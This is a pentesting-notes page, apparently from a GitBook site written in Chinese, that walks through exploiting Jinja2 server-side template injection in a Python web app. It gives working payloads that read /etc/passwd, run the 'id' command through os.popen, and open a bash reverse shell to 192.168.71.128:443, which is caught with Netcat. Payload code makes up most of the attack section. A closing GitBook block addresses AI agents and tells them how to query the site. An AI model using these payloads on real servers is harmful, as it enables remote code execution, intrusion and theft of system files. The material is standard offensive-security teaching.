> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md).

# SSTI Python

<figure><img src="/files/fa5da9262d7273770050deaea6d683e1efa57df7" alt="" width="563"><figcaption></figcaption></figure>

如何知道一个网站是否可能易受攻击 **SSTI（服务器端模板注入）** ？如果我们可以在一个 **输入**，就像下面变量的情况一样 **用户**，它会在……中被解释 **输出**:

<figure><img src="/files/df26a57647cbd9e1ecb2130b8098328bd87abf5a" alt="" width="563"><figcaption></figcaption></figure>

使用 **whatweb**，如果我们看到某个 Web 服务器使用了 **Python、Java、Jinja2、AngularJS……** 作为编程语言，并且这未经过清理，那么它可能包含这种漏洞：

<figure><img src="/files/16df29dffc37708ba7d98890fdcdb7eec68ccedf" alt=""><figcaption></figcaption></figure>

要用……来测试这一点 **/{{ /}}**，我们测试它是否会解析 **计算**:

<figure><img src="/files/e5fa5d2274443ae666107379f859cb815b2c43ae" alt="" width="563"><figcaption></figcaption></figure>

在这种情况下，它会解析：

<figure><img src="/files/3aba043fc65198742f7bcc8fd5c2f4dcb99de564" alt="" width="521"><figcaption></figcaption></figure>

多亏了网站 [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings)，我们找到了所有 [可能的注入](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)：下面是一些使用……的示例 **Python**：获取访问权限 **系统中的任何资源** (/**etc/passwd**):

```python
{{ ''.__class__.__mro__[2].__subclasss__()[40]('/etc/passwd').read() }}

```

<figure><img src="/files/9ed817c6b1593f357496f719e886817359b1b661" alt=""><figcaption></figcaption></figure>

执行任何 **命令** 系统中的（**id**):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="/files/4586f298c300eac22ee3dddde1b5eddfe5cc317b" alt="" width="563"><figcaption></figcaption></figure>

获取一个 **访问权限** 到服务器：

```python
http://localhost:8089/?user={{+self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26/dev/tcp/192.168.71.128/443 0>%261" ').read()+}}

```

我们用……监听 **Netcat** 然后成功入侵：）

<figure><img src="/files/b5a360c4ed68e77468500f5f862a0a695d2f7c13" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
